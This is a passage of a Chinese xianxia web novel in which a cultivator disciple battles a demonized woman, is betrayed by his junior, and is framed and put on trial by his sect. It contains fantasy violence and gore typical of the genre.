那涂二愣是看我好几眼,见我什么话也没说,还对他笑着点头,眉眼间露出不屑。
贵人又怎么样,还不是怂包一个。
等他走后,我看着面前的点心,叹了口气,伸手一挥,白碟顿时被一扫而空,点心全进了储物袋。
哐当一声,我起身来到声响处,胡熊向我行礼,他人虽高大,凶神恶煞,但一举一动都透着豪气,干脆利落。
“原来是仙长!”胡熊低着头,两手抱拳,粗声粗气。
我扶起他,淡笑道:“家中有小孩儿喜甜食,不知可否劳驾胡兄给我介绍些店,出门一趟不带些东西回去,怕是要闹我。”
胡熊拎起桌上的四坛酒,朗笑:“我就说我胡熊取对了媳妇儿,瞧瞧,前些天挖到了老药材,今儿个又碰见了小神仙,他们还说我媳妇儿多嫁女,晦气,一群孬货懂个屁!”
我若有所思,和他一道往外走。
见我沉默,胡熊侧目,隐隐有要发火的意思,声如雷霆:“仙长,你不会也觉得我媳妇不是好姑娘吧?”
我忙回过神,摇头,笑中带了点苦涩,想起自己无法宣之
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于口的情。
“不是,胡兄赤忱之心。我已经很久没有见过你这样的人了,如此直率的爱,恐怕仙也要动容,我十分敬佩。”
胡熊也没有那点寻常人对仙家的谄媚,尊敬是有,交谈起来还是大大方方的。
“好好好!小仙君是个明白人!和那些个迂腐愚人不同!”
他领我走的路没有重复,店家们许是看他好事将近,点心都给他塞得满满的,这倒是便宜了我。
将点心铺子逛了个遍,我也没看出有什么不对的人,魔气更是毫无踪影,那玄阶任务的发布从何而来。
镇子基本已经走过,天色渐晚,镇民淳朴也有贪图小利的人,乞儿虽然露宿街头,身上也没有殴打痕迹。
这就是一个平凡的小镇。
我掏出钱给胡熊,准备上镇中东南方最高楼的楼顶列个阵法。
胡熊却摆手不要:“诶!小仙君,你这就是看不起我了不是吗,那点子点心算什么,今日我高兴,就是再来一轮又如何!我不要钱,只想请小仙君帮个忙。”
我收回手,脸上笑容有些淡,还好夜色降临,胡熊看不出来什么。
“胡兄请说。”
我手一翻,那钱袋消失不见。
胡熊左看看,搔搔头,右看看,又搔搔头,我竟从他脸上看出点不好意思。
“听闻修仙者本领通天,我想请小仙君为我未过门的娘子划道平安符……还是有什么别的叫法,我粗人一个,也不大懂。反正就是那个意思,她这一生都太苦了,我怕我哪天出事,她再遇不见下一个愿意待她好的人。”
我神色微动,平安之类的祝福倒是简单,如果让我给他们划一地守阵我也不是不愿意。
“不为自己也求一道?”
胡熊那么大个体积,被我吓得后退几步,双手直摆:“我糙惯了,哪受得了这些,我愿意用我自己生命爱护我娘子,这和我为她求一道平安不冲突。”
我心想,也花不了多长时间,便答应胡熊的请求,说不准还掺杂了点别的意思。
我自己是不可能求得良缘了。
胡熊带着我往镇西口走,越到镇外,人越发稀少,凡人忙忙碌碌的一天于修仙者而言,不过弹指一挥,眨眼的事。
“胡兄家住的有些偏啊。”
我看着他壮硕的背影,开口道。
胡熊身形从后面看有些佝偻,强挺着力直起腰,撑着他未来的新家,手上酒坛叮叮咣咣撞在一起。
“还不是图个清净,这样那些话,也落不到我娘子的耳朵里,我怕她觉得我会抛弃她,之前那几个,实在太不是东西!”
我顺着他的话附和:“女子命途多舛,好像天也不懂她们的苦,幸好有你,相信你会好好爱她的,别亏了人家。”
胡熊说:“自然!小仙君,要不是知道你是修仙的,我胡熊真想和你做结拜兄弟!你懂我!不像镇上的一些狗人!”
没想到他这一领,就直接将我带出镇门,又顺着路走一截,我才看见有木竹小院,在树林中影影绰绰。
“到了,”胡熊拂开斜倒的竹子,“小仙君,请!那边是我家了!”
我望着他静默片刻,慢慢将目光挪到了那小院,凡人许是看不见,但在我眼里,木竹小院里魔气挤成一团。
以主屋最甚,丝丝缕缕的魔气从窗户缝爬出,顺着屋檐反复游走。
所有魔气散到竹林,就被挡了回去。
我迈开步子,笑道:“这小院真不错。”
5. 是非曲直谁听
胡熊在我身后放下手,来路被阻断。
我没回头,和胡熊一起往里走,竹影摇曳,月亮照得竹屋白蒙蒙的,镀了层纱。
“小仙君,你看我这院子打得怎么样?”他又快走几步,为我推开门。
“不比我的院落差。”我夸赞道,“胡兄为爱妻当真费了不少心思。”
胡熊把酒坛搁在桌子上,站在泠泠月光之下,高大的身躯边缘被月亮化得有些模糊。
“可不是嘛,说实话,我小时候就喜欢她啦,可惜老胡我没文化,也不会赚大钱,想出去闯荡一番回来接她,她却已经被人弃了多回,是我懦弱,对不住她。”
我站在院中:“不怪你,胡兄。”
胡熊落寞地低头而笑,揭开酒坛红封,手指扣着坛沿,先是仰头灌上一大口,咕噜咕噜下肚,再把剩个底儿的酒洒在面前。
他面前是我。
地上哗啦啦被浇了酒,干枯的土吸饱了酒水,变得软趴趴的,胡熊大抵是想我和这地上的土一样好拿捏。
我又重复一遍,不带多余的感情。
“不怪你,胡兄,只是你心太大了,装的太多,落不着好的,回头是岸我就不说了,你应该懂。”
胡熊脸色变换几下,胳膊抡圆摔了手中的空酒坛,同时沉声道。
“小仙君,我以为你懂我的心,我能对不住所有人,独独舍不得苦了她。”
主屋竹门唰得打开,我循声望去,先是一具干枯的尸体被甩了出来,在地上滚了几圈。
“胡哥儿啊,我好饿……”
我把目光从那干枯老兄的身上挪开,看向黑洞洞的主屋门口,屋里也不点灯,怪渗人。
我这人是没什么同情心的,地上那位不是千机寺的和尚,也不是玄清宗的某某,我何必多给几眼。
看着是镇子上的居民,要不然就是路过的倒霉鬼,摊上这么个破事。
胡熊对我露出个哭着的笑:“小仙君,你们修行之人不是慈悲的很吗?你发发善心,我娘子饿了,给她点吃的好不好?”
我内心冷笑,我又不是和尚。
我没有理会胡熊,盯着大开的屋门。
里面缓缓爬出来个女子,先是头,再是身体,贴着地面,眼神空蒙,我才发觉她是个盲人。
女子胳膊奇长,两颊瘦削,头发是及脖的短发,参差不齐,看着像被割断的,尾梢枯黄。
再往外爬,她两侧肋骨处分别长着两条胳膊,同样很长,撑在地上,没多少肉,就像个多出来的竹竿。
背部有一个透明的、肉瘤一样的巨大花苞,树根样的血管分布在上面,花苞里好像还有着什么东西。
胡熊看向她:“娘子,饿狠了吧?都怪我,下次我一定早点回来。”
女子神智已然不甚清楚,嘴巴一张,那黑黢黢的魔气就从裂开的嘴角冒了出来。
“胡哥儿?胡哥儿?我好饿啊。”
那背上的肉瘤花苞像心脏,一鼓一鼓地跳,女子倒像是车轮底,被拘住,生不得死不得,投胎轮回也不得。
好苦,明明看骨象,是个命里有福之人。
世间污浊,女子多苦命。
我双手背向身后,说实话,我觉得胡熊这人挺好的,只是执念太深。
我执念也深,可无人渡我,我自认为也无需人渡。
作为正道修仙者,按理遇上胡熊这等人,能拉也就拉一把,但我只是口头说说,走个流程,不管他刚刚如何真心带我网罗点心,他既有歹心,在我心里已经是个死人了。
“胡兄,我看平安是难求了,我送她解脱,你看如何?”
灵力凝集于掌心,我真心诚意地说:“你如此留着她,这就不是爱了,你也在折磨她,你和那群伤害她的人又有什么不同?”
胡熊这次不再理我了,他只摆头讪笑,后退一步,对他那蜘蛛似的媳妇儿说。
“吃吧,媳妇儿,小仙君肚子里满是墨水,定能渡你我脱离这苦海。”
胡娘子脑袋咔哒一拧,我眉头狠皱,听到了令人牙酸的骨头错位声。
胡熊事不关己拎上其余三坛酒转弯,前往后院,胡娘子爬行速度极快,张嘴时涎水已经不受控制地流了出来。
“好饿,好饿,好饿,好饿……”
她牙齿打颤,喉咙里的话也因为分泌的口水太多,有些含糊不清。
我心里其实没什么感觉,但还是应和场景,叹出口气,单手掐诀,本命剑飞出,直指这位娘子。
呛——!
剑锋与她竹节虫似的手臂相击时,居然迸出金石相撞的声音!她的骨头魔化,已不再是凡人的范畴!这是吃了多少道友!
胡娘子发出尖啸,震得我神魂一晃,耳膜也刺痛不已,我严肃下来,打算先破开此界阵法,魔气溢出,孟竹臣他们自然能找过来。
这隐于林间的小院是胡娘子的主场,她轻松一跳,那胳膊腿就攀在竹身上。
她倒不是难办的,对于这位娘子,我没起什么戒心,真正让我感到棘手的,是她背上背着的花苞,太过诡异,透着不详。
我甚至怀疑,胡娘子原先就算染上魔气,也到不了这个地步,全赖她背上那个半人高的肉瘤,硬是把她的精气都吸个干净。
胡娘子借力,能在这小方天地中四处蹿。
我要破开这龟壳。
一边分出心神操控本命剑,不让胡娘子近身,一边找着阵眼或者法宝。
不知是哪位同道留的坑,如今害得是我,真是麻烦,死得让人抚掌称快。
就在这时,身后一声惊雷。
“师兄!救命!”
我瞳孔骤缩,回过头,就见程月舒那鹅黄衣服浸饱了血,正满脸惊恐,看见我犹如见到救星。
他也不看头顶那是什么东西,满眼就只有我,不管不顾地跑过来,一把抱住我。
“师兄!他要杀我!他要杀我!”
我咬着后槽牙去掰他手臂:“滚!”
胡娘子仿佛听出什么,下颌骤断,嘴又张开了一个新的高度。
蒙了灰翳的眼球上翻,背上那东西鼓动得更厉害,她整个人在竹子上挂着,八肢抽搐,鼻间耸动。
“呃……啊……胡哥儿?你在哪?”
无人应答,我推开程月舒,他摔在地上,瘫坐在我身边。
“去找阵眼,”我盯着胡娘子不放,剑尖悬在她前方,厉声呵道,“拿师尊给的东西,不管你怎么做,炸了这里!然后把孟竹臣他们叫来!”
嘱咐完,我旋身上前,但看似已经神志不清的胡娘子却转头扭向后院。
我只停顿片刻,就跟着追了过去。
没想到却听到哭声,呜呜咽咽,因为嘴巴已经闭不了,声音有些撕心裂肺。
“胡娘子?”我站在屋顶,剑悬在我身边轻轻晃动,直指地上两人。
胡熊手上抓着一把圆而扁的屠刀,此刻仰面躺在地上,双目圆睁看着天空。
腰间横着没了一截,胸膛还插着酒坛碎片,酒和他的血混在一起,土地都显出邪气。
胡娘子没有理我。
我回过神,
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祭出金光闪闪的锁魔网,手腕翻转,网变大,兜头罩在胡娘子畸形庞大的身躯上,连同死去的胡熊一起。
我双手并拢,剑顿时分成数道剑影竖直而立,飞到胡娘子身边围成一圈,随着我伸手攥拳,剑影瞬变。
剑尖全部指向那肉瘤花苞。
我相信我的直觉,那东西定是不凡,由于包裹在其中,我看不清是什么东西,总不能是胎儿吧。
魔气肉眼看去分明不强,但我的剑却钻不破她周身的气。
我不敢松懈,目光也不敢挪开,侧头大喊:“程月舒!找到了没!”
与此同时,胡娘子从悲痛中缓过神来,脸上的气息彻底灰败下去,我看出一种不复返的意思。
还未等我出声,胡娘子眼珠子又落回来,盯着地上已凉的胡熊,张嘴就开始食之。
如同母螳螂一样。
我双手掐诀,眸中雪色光芒升起,繁复阵法出现在金网的上方,并寸寸往下压。
这阵法是我为数不多擅长的,但却极为损耗心力,多数情况为大能或者最后关头使用。
我没听见程月舒的任何回话,神识放开,没找到人,我心中凉了半分。
不是我担心他的安危,而是我知道,他约莫用了什么藏匿身形和气息的法器。
师尊给的,我破不开。
而更令我心烦的,是胡娘子那开始壮大的魔气,节节攀升,我要压不住了。
再细想,我消失这么久,孟竹臣他们都没什么反应,很可能被一些事情绊住了手脚。
胡娘子他们能在千机寺旁边安家,这里密不透风的罩子,究竟是意外,还是背后有人故意为之,为的什么?给玄清宗下马威?
金网一角崩开,胡娘子原本贴地趴着,现在八个肢体正在把身躯往上撑,吃了胡熊,那花苞从根部涌上一股艳紫色的气。
“多嫁女,新嫁娘,逢歹人,待良人,苦苦寻觅皆不是,是非曲直无人听……”
她嘴巴没动,苦苦地戏声却飘了出来,胡娘子痛苦极了,她想,原本她都打算跟胡熊过余生了,为什么上天还是这么恨她。
她等不到一个对的人,也等不来一个真心待她的人,胡熊只算次等品,她恨他,也爱他,如今他也死了,那她这副模样……
算什么东西呢?
“无人听。”
话音落下,金网被她溢出来的魔气撕了个粉碎,数道剑倒飞出去,合成一剑,重新回到我的身周旋转。
我被阵法骤断的余波震动,险些栽下去。
胡娘子伸出秀手,五指并拢成爪,我顿感脚下寒意,纵身跳到剑上,身下简陋的柴房炸开,木竹碎了一地。
我余光一瞥,角落里多个人影。
程月舒不知是不是良心发现,他显现出身形,面上还带着惊恐。
“师兄!我找不到什么阵眼!”
蠢货!累赘!我险些破口大骂!
胡娘子头猛地转向程月舒,手脚并用,朝他飞速爬去。
程月舒也不知是不是吓傻了,愣是不动,原地大叫着喊我,连师尊给他的那么多东西都不用。
我举棋不定,竟觉得,如果小师弟意外死在这儿,那师尊是不是就回归正常了。
程月舒蹲了下来捂住头:“大师兄!师尊说你会护着我的!”
我脸色骤变,从那恶劣的心思中抽回理智的心神,没错,小师弟死了的确轻松。
但师尊本领通天,我怎么解释?我能确定小师弟身上没有回溯类的法器吗?
我不敢赌。
6. 颠倒黑白者笑
我闪身,剑横在身前,胡娘子的脸上都是血水,咆哮着手一推,魔气聚集爆在我面前,我肺腑俱震。
程月舒矮身躲过,为了不让他受伤,我倒飞出去,背撞在墙上,猛地咳出一口血。
“咳咳……”
我用剑撑地,擦着墙站了起来。
程月舒勾着腰跑走,还扭头看我,左脚绊右脚摔在地上,我连愤怒都懒得生出。
两手相拍,结印分开,剑飞出斜着砍向胡娘子脖颈,有程月舒这个拖油瓶在,我的灵力耗费巨快。
“把师尊给你的东西都拿出来!”
我凌空飞起,握住回来的剑削向胡娘子的背,她又发出几声牙齿相磕的咯咯声,眼珠在眼眶中疯狂转动。
她掉头转向我,原本是正面对着我,伸出魔气浸染的利爪。
这时,她乱转的眼珠停下来,越过我的肩膀,看向地上的胡熊残躯。
她的眼里居然落下了清泪。
我感觉她好悲哀,满腔的愤怒和哀伤甚至都兜不住,从她躯干缝里,皮肤毛孔下,都开始溢出魔气。
女子实在强大。
胡娘子坚韧,就算她已经没有理智,但还残留着为人的意志,并非是自主的,看着是无意识的。
她侧过身躯,用另一只手将伸出的利爪猛地折断,我的剑刺入她的背部,也就是那肉瘤花苞的根部。
胡娘子发出了一声不似人的尖叫。
“啊——!”
她的身体反弓,折出一个可怕的弧度,断了的手向我挥过来,我的头微微偏开躲过。
这究竟是什么东西!
我双手握紧剑柄,用全部力气去削那花苞,但是收效甚微,只裂开了一点,那开口还喷出大量褐色液体,将我的手浇得湿.滑。
“程月舒!来帮忙!把你的剑插进去!”
程月舒没走远,就在我身边,他声音抖得难听,他唰一下抽出他的弟子剑。
“师兄,哪儿啊……往哪儿插啊?”
我被他蠢得想连他一起串上,炼气期就该接炼气期的任务!和我们凑什么热闹!累赘!就该一不做二不休,把他喂给胡娘子!
“程月舒!往我剑旁边……”
我的声音戛然而止,腹部先是一凉,随后是剧烈地绞痛,我低头,慢慢松开手。
程月舒的剑很长,师尊给他的挑的,很是秀气,薄而锋利,是低阶容易驾驭的非凡品。
现在这把剑从我的腹部穿过,切断了大部分从我丹田流出的灵力,寒气从伤口蔓延,冻住附近的灵窍。
剑被程月舒全部穿过,长长一把,剑尖没入那花苞中,许是已经被我伤了元气,程月舒的剑又不是次品。
所以他破开了那诡东西的防御。
将我和那个肉瘤串在了一起,那褐色的血顺着剑流,像蜿蜒的诡异丝虫。
程月舒那受惊的可怜颤音在我的后背响起,他手腕转动,用剑绞着我的腹部。
“师兄,我好怕,我捅到它了吗?”
我气息反噬,喉咙涌上鲜血,侧眸看去,程月舒抬起脸,脸颊边溅了我的血。
他笑得阳光,声音却仍是害怕,反差极致,我后脊生寒。
“我好像伤到他了,师兄。”
胡娘子因为背后肉瘤受创,眼瞳不受控制的涣散又聚集,抬头望着夜空,张大的嘴里也有鲜血溢出。
我要杀了程月舒!我要杀了他!
我眉眼凌厉,紧咬牙关,剑的寒意刺激丹田,我痛的浑身发颤,单手握住腹部的剑身,调动剩余灵力震碎这把剑。
程月舒何其歹毒,他竟早想杀我!
是我愚钝!善人之心!蠢的居然是我!
程月舒在这时毫不留情地拔出剑,将剑柄塞在兀自发愣的胡娘子手中。
我没了支撑,跌坐在地,单手捂着腹部,跌跌撞撞地要爬起来,去把胡娘子背后的剑拔出。
程月舒神情淡淡,没被胡熊残尸吓到,没被胡娘子的畸形吓到。
“师兄,你说,怎么就这样了呢?”
我知道我此刻定然狼狈不堪,他倒是只沾染些灰尘,一个炼气期的杂碎,装得像大乘期一样。
“孟竹臣师兄他们是赶不过来了,胡姐姐濒死,镇子上欠她命的人到时候都得给她偿命,他们能不能活还不一定。”
胡娘子背上的花苞不知什么时候已经停止鼓动,根部开始萎缩。
她的身形一颤,跪在地上,随着花苞凋零,胡娘子的背能慢慢直起来了。
“为什么!”
我嘶哑着声音,伸手一挥,剑飞出杀向程月舒,而他却始终在不远处,神情悲悯,很快又变为惊慌。
只见他先丢出一个铜铃铛,铃铛自发悬在胡娘子头上,白色的光落下,弥弥梵音响在胡娘子耳边。
往生铃!胡熊的魂被啃的破碎,程月舒如果再送走胡娘子,那就再无一魂为我辩驳!
我转身想徒手抓那铃铛。
现在还不行!我不能就这么不明不白!
但——程月舒动了,他用他那微薄的灵力震碎腰间的祥云玉佩。
刹那间,威压顿至,胡娘子也刚刚好被送去往生,空中交叉窜出两道铁链,先是掸开我的剑,然后从我肩膀穿过。
巨大的力道将我反推,我被牢牢钉在地上,可我无暇顾及疼痛。
那熟悉的灵力将我思绪搅的一团乱。
我嘴唇颤抖,发不出声,只能用嘴型喊道:“师尊……”
白衣仙人立于虚空之上,向来冷肃的面容,此刻透着寒意,他看着我,什么话也没说,目光像是看死人。
程月舒惊喜地声音传来,他仰起头,高兴地对着天上的长垣仙君挥手:“师尊!”
长垣仙君低低应道:“嗯,小舒。”
我被师尊带回玄清宗,他封去我的五感,用铁链捆住我的四肢,两道铁索从肩膀交叉穿过琵琶骨,脖子也被一个铁圈环绕。
这些东西由万年玄铁打造而成,能够阻断人的灵力,没有治疗,没有安慰,我直接昏了过去。
再次恢复意识的时候,五感已经恢复。
我率先听到的是水滴在石头上的声音,我睁开眼,发现自己被吊在空中,身处于幽冷石室,不远处是紧闭的大门。
我认得这里是哪儿。
玄清宗,悬牢。
独处于玄清宗地下,是一块单独悬浮的空间,唯一出口直通地上,就
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算真的成功逃出去,也会被发现。
角落里还有几具枯骨,身上的衣袍看样子不像是宗内弟子的。
一个关押着犯错之人、叛徒、恶徒的地方,如今扣着我。
地底镇宗的地心焰离悬牢很近,上古火焰的威压,更是让其中的囚徒无法动用灵力逃脱,我没有费心思出去。
只是在想,为什么?
我听着一滴水又落下,嘶哑着声音开口:“……弟子郁负雪,求见师尊。”
水滴一次,我就喊一次。
万一师尊刚好心软,化出水镜看我一眼呢,那我就能解释事情的原委。
我知道他赶来时的场景,那种情况下,就算是我也会误会,我能理解,也不怪他,等师尊消气,肯听我解释就好。
只是这一等,就过去数日。
没等来师尊,只等来程月舒。
“师兄,这悬牢好冷啊。”
程月舒刚一进来就十分夸张的搓着胳膊,我慢慢地睁开眼睛,声音干涩,说不出话。
丹田的伤无人治疗,连着悬牢的寒气一起,冻结我的全身,我起初还觉得冷,现在只有刺骨的痛,连冷都算不上什么。
“滚。”我发出一丝气音。
程月舒走近几步,停在我面前,他仔细端详我的脸,半晌,表情扭曲了起来。
“哈……哈哈哈哈!”他弯腰大笑,声音荡在悬牢中,角落积攒的水洼都被震出水波。
他捂住嘴,声音就闷在他手心。
“师兄,你在等谁?你不会以为师尊会来看你吧?”程月舒笑够之后,站直身体在我面前来回踱步。
我懒得和他废话,索性闭上眼睛,等我出去,定要他生不如死。
程月舒见我闭眼,听下步伐,猛地出手掐住我下颌,拇指和食指用力摁着。
“睁眼!师兄,你人在悬牢,还不清楚自己的处境吧?碧泉镇的人全死了,千机寺的和尚,包括悟尽大师,全被陈青芜给屠了。孟竹臣和常善两人不知所踪,他们魂灯已灭,想必死在了荒郊野岭。”
我猛地睁眼,双手发力,呼吸粗重有如困兽:“你!程月舒!”
喉咙沙沙的,我闻到了血腥气。
程月舒打断我的话:“我什么?师兄叫我做什么?我多亏了师尊给的灵宝法器,保护了自己,还度了一个苦命的女子。”
他自顾自地编排他的情节:“我足够幸运,而师兄不幸,他被那魔气浸染,师尊给我的剑感觉到魔气,误伤师兄。”
程月舒背着手,我挣动着想伸手,但是玄铁如何坚韧,我还是被缚的那一方,见他闭眼陶醉,好像听着铁索声音在抒情。
他温柔,声音轻飘:“我想唤醒师兄啊,只可惜我灵力低微,还被那凡人胡熊束缚了半天,我没能让师兄清醒,他好像认不清我了,要杀了我。”
我怒斥他,伤势再次复发,气息都带着血腥味:“颠倒黑白!程月舒!你妄做人!”
程月舒脸上的笑容渐淡,没有被我激怒,表情带着怜惜,他伸手轻轻摁在我的丹田处。
很快就收了手,拿出帕子擦掉污血。
“师兄,不日便是这次碧泉千机事件的裁决日,你很快就会出去了。”
7. 如此好的资质
如程月舒所说,几天后,我四肢的铁链消失,不再连于虚空,而是变成枷锁,仍箍在手脚。
我摔在地上,五脏六腑都要移位。
门打开,我掀起眼帘,透过打绺的发看去——不是我想要的那个人。
来人只是普通的弟子,在执法长老门下任职的,和那白胡子老头一样严肃。
眼熟,但我不记得他叫什么了。
我在他的眼里读出复杂的情绪,但他最终什么也没说,只是过来把我提起,待我站稳后,他站在我身后说:“走吧,长老们都在等着你。”
多日不开口,我险些忘记如何说话。
我张了张嘴,嗫喏半晌,才找回那几个字:“我要见我师尊。”
那弟子却是十分嘲弄地笑了一下:“郁师兄,我虽然这么称呼……但你以为,你还是云秀峰的大师兄吗?”
我在前面走,他在后面看押,来到升降石台,他告诉我。
“郁负雪,就在昨日,长垣仙君已经把你逐出师门,现在的你,什么也不是了。”
说完,他用眼神睨我,等着我的反应。
我想我应该愤怒、无措,攒着怒火回到地面,对着每个人大喊——
都是程月舒心机深,他歹毒!
他害我,还害其他人!
但我首先十分茫然,连激烈的情绪都不曾生出来,那弟子说的好像是正常的句子,听在我耳朵里却变成杂音。
唯有“什么也不是”尚存。
等耳朵里嗡鸣作响的余韵过去后,我稍稍侧头,和那弟子对视。
也不知他看见了什么,看好戏的脸顿时变得惊恐,还后退了一步,又硬生生刹住脚,滑稽得可笑。
“……多谢告知。”
我轻笑,也有些奇怪,尽管不想承认,但师尊,哦,现在该叫长垣仙君了。
长垣仙君光风霁月,修无情道多年,道心稳固,正得极端,怎么可能容得下一个要“杀了师弟”的恶徒呢?
我待会该怎么解释?把过错全都推到程月舒身上肯定不现实。
升降石台向上,我仰头看着愈发接近的阵法光芒,眯起眼睛,脑中飞速思考,角落里那弟子偷偷离我远了点。
实话实说?不,这几天程月舒定胡言乱语,他是干净的。
穿过阵法,再一睁眼,来到幽长昏暗的通道,那弟子也不知道发什么愣,我修为被封,如何照亮四周?
我分出心神道:“你看得清?”
炼气期弟子敢欺骗谁?那群老东西怕是都会信他,这是他们的盲目自信。
那弟子呼吸乱了一瞬,很快镇定,两指一搓,灵蝶飞出照亮在我们四周,我再次抬起脚往出口走,手上枷锁叮哐响,他跟在我身后。
没关系,我面无表情地想。
既然如此,顺着程月舒的想法走就是。
等我脱身,不怕报不了仇。
出口又是一道传送阵法,我闭上眼,刺目的白光闪过,我便来到场地中,耳边顿时涌入各种嘈杂的声音,我大脑一时间有些过载,恍如隔世。
慢吞吞睁开眼,正前方是几位长老,没有掌门。这次的裁决由执法长老主持,那白胡子老头站在最中间。
我放下遮住眼睛的手,适应日光后,先是看向周围看台上的弟子们,各种年轻的脸庞,还是初入修真界的年纪,来观看这场裁决刑罚。
通常起一个杀鸡儆猴的作用,提醒广大弟子勿忘初心,坚守道心,如今,我居然是那待宰展示的……
那弟子把我带来后,就对执法长老抱拳鞠躬,他的声音在我身后响起:“禀长老,郁负雪已带到。”
我仔细顶着灿白日光看去,师尊在角落,程月舒站在他的身后,正为他倒茶,他呷了一口,很明显的点了点头。
这比日光还刺眼,我双手垂下,两手相连的铁链轻晃,窃窃私语声不断,不怀好意的眼神,忐忑不安的眼神,全都落在我的身上。
“郁负雪。”执法长老声音扩散,回荡在刑台。
我把视线从那角落里挪开,跪了下去,双手高举于额前,行了个大礼,“弟子在。”
围观的弟子左右讨论起来。
“他就是云秀峰那个大师兄?”
“如今不是啦,不是被逐出师门了吗?
“天意难料啊,当初我还是个小娃娃,亲眼见证他被长垣仙君收入门下,当时我爹羡慕得紧呢!”
“你来修仙,关你爹什么事?”
那人笑道:“我爹也想拜入正道魁首的门下嘛,可惜他年岁已高,情感就寄托在我身上啦!”
执法长老越听,那长眉越揪,这帮弟子说着说着就扯远了,再不制止,裁决如何进行下去。
他怒喝一声:“肃静——!”
声音顿减,弟子们化身鹌鹑,闭上嘴,吵闹声慢慢歇了下去,无人再敢喧哗。
我直起身,端正跪在原地,低头看着地砖的缝,以及上面每一条小裂痕,什么也没想。
审判飞速开始,容不得我喘息。
“郁负雪,你设计坑杀碧泉镇全凡人性命,证据确凿,你可认罪?”
我慢慢眨眼,眼睛有些干涩,声音依旧沙哑,简洁地说:“我无罪。”
执法长老却不是为得到这么一句话,他流程走的僵硬,毕竟人证物证俱在,现在宣读罪行,只为给旁边围观弟子们听。
“郁负雪,你提议分开行动,为了让孟竹臣、常善两人更好的被害,证据确凿,你可认罪?”
我淡声道:“有无尸体?有何证据?我无罪,为何要认。”
执法长老目光如刀:“满口谎言!我等已用通心镜查过程月舒,你是想说,分头调查的意见不是你提的,化骨散你也从未拥有过,上古灵宝是个废铁,是吗?”
化骨散?我恍惚间想起,是有这么回事。
几个月前,我在宗门弟子举办的交易会上买了个剑穗,化骨散是为赠品。现场时没注意查看,等后来清点自己物品时,才发现有这么个东西。
但因为我平时事务繁多,恰逢程月舒又来我院中炫耀,转头就忘记上交了。
我无话可说,执法长老咄咄逼人,用词全都对我不利。
“现场的化骨散不是我的。”
执法长老冷哼一声,五指朝我一擒,我腰间储物袋就飞到他的手中。
长老修为比我高,轻易就将我的神识抹去,他找出那白瓷小瓶:“想必就是这个了。”
瓷瓶悬在我面前,稍一倾倒,墨绿色的液体倒在地板上,呲呲声伴随着白烟升起,在场弟子顿时大惊失色,少数女弟子捂住了自己胳膊,带着浑身寒意蹲了下去。
“好恶毒!我只在话本里见魔修随身携带这东西!方便销毁证据!”
“不是说这东西用过后没有什么痕迹么……”
“你笨啊!长老们修为可不低,什么能瞒得过他们?你看这郁负雪,能狡辩出什么!”
我抬起头,执法长老不闪不避,迎着我的目光,他笑起来右边脸颊的沟壑断了一截,看起来邪得不像正派。
“郁负雪,”他再次开口,“你在此次任务中入了魔,要杀了你的师弟程月舒,你可认罪?”
又是一阵轩然大波,执法长老怒斥周围弟子:“肃静!肃静!你们当这里是什么地儿!”
而我,只是在吵嚷中看向角落里言笑晏晏的师徒二人。
师尊,你看我一眼,求你。
碎发后,我死死盯着他们,目眦欲裂。
这么多年,我为人如何您不清楚吗?他们如此污蔑你的徒弟,你难道
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不该出手吗?
哪怕是出声稍微拦一下呢?
好像是注意到我的目光,正在喝茶的长垣仙君动作停了下来,程月舒率先抬头,和我对视。
他在冲我笑,然后,他低头说了什么,嘴型我看不清。
师尊放下茶杯,点头起身,在我期待的目光中,同程月舒一起转身……走了。
“哈。”我直接笑出声。
执法长老没等到我的回答,和剩下一众长老对视,又转回身,隔空凝出刑鞭,对着我肩膀抽了下来。
“残害同门,罪该万死,还好意思笑!”
皮开肉绽,鲜血在肩膀晕开痕迹,我猛地弓了身子,疼得浑身发抖,但还是将痛呼全都压回嗓子里。
气息乱得不成样,我咬牙切齿地回答:“无稽之谈,我不认。”
人群中,刚刚带我出来的弟子却是抖着身子站出来,对执法长老行礼。
“弟子……弟子有话要说。”
我还跪伏在地上,本是无意识地扭头看过去。
但那弟子不知怎的,也恰好在看我,触及我的目光,明显又是瑟缩一下。
我顿感不妙。
果不其然,他低下头保持着弟子礼,“禀长老,刚刚弟子带郁负雪出来时,告知他了几句他身份被废除的事,结果看见……看见他眼中闪过红光,刹那间宛如恶鬼像。”
一波多折,几乎将我钉死。
“我没有……”我本立刻开口,又想起不能慌乱,深呼吸,慢慢支起身,“天地可鉴,我这一生都问心无愧,桩桩事件,除了分开调查一事,其他皆非我所做,至于途中,许是这位师弟看差了。”
在此刻,我万不能攀咬程月舒,否则我的形象将再无扭转可能。
还未等执法长老断决,一位白衣长老慢慢走出,我看清人后目光一冷。
此人正是诸多长老中为数不多的酒囊饭袋,因为凡人时和掌门有点关系,后来凭借这个当了个职位不高不低的长老。
若是只有这倒也不是什么大问题,玄清宗偌大宗门,不至于多养一个长老养不起。
只是我和他结过仇,他癖好肮脏,好乐童子,我曾差点被他得手,拼了命才废了他的根。
知事后更是先一步恐吓所有年轻弟子和化形小童,只要他出现,我必定在这群弟子身边,一来二去,他也歇了心思,许久都未出现过。
我本以为他已经要坐化!怎么还在这里蹦!
那王德福装的那叫一个像样,想必驻颜丹和延寿丹吃了不少。
“依我看,不如将他金丹剖出来,大伙儿一同看看,如果有魔气,任这厮再怎么狡辩,大家都心知肚明,逃不掉的。”
有胆子大的弟子高举手问他:“如果什么也没有呢?”
王德福故作苦恼:“嘶,那就……那就……”
他对上我的目光,恶意满满,双手一震,无所谓地说:“那就再塞回去嘛,不过他想杀同门师弟,应该是板上钉钉,按照长垣仙君的意思,还是要剖了金丹给他送过去的。”
我脑中一炸,嗡嗡作响,不敢置信地看着王德福。
“你说什么?”我一字一顿。
王德福也是一愣,看我这什么也不知道的模样,他笑得更加开心,眼睛睁得老大,还走出几步。
“你不知道吗?剖金丹,是你师尊……不对,现在不是了,瞧我这嘴。”
他轻轻自扇了一巴掌,重新说:“剖金丹这事,是长垣仙君提的,我们原本商量是废你修为,执四百鞭。但长垣仙君说,养你那么久,金丹就这么没了,也是浪费资源。”
王德福故意说的很慢,我一字一句全听清了,“那样好的资质,废了可惜。”
“不如剜出根骨,剖出金丹,转给小舒,就当两清吧。”
8. 道途再难容我
什么两清?我想我真是愈发糊涂了,莫不是真如他们所说,我执念太深,和胡娘子对峙时不小心沾了魔气。
否则我怎么会听到,师尊要剖我金丹,以此安慰程月舒呢。
“你不信?觉得我骗你,是吗?”
王德福背着手,越说越激动,但执法长老制止了他:“行了,还有弟子看着呢。”
他看样子也不是很瞧得起王德福。
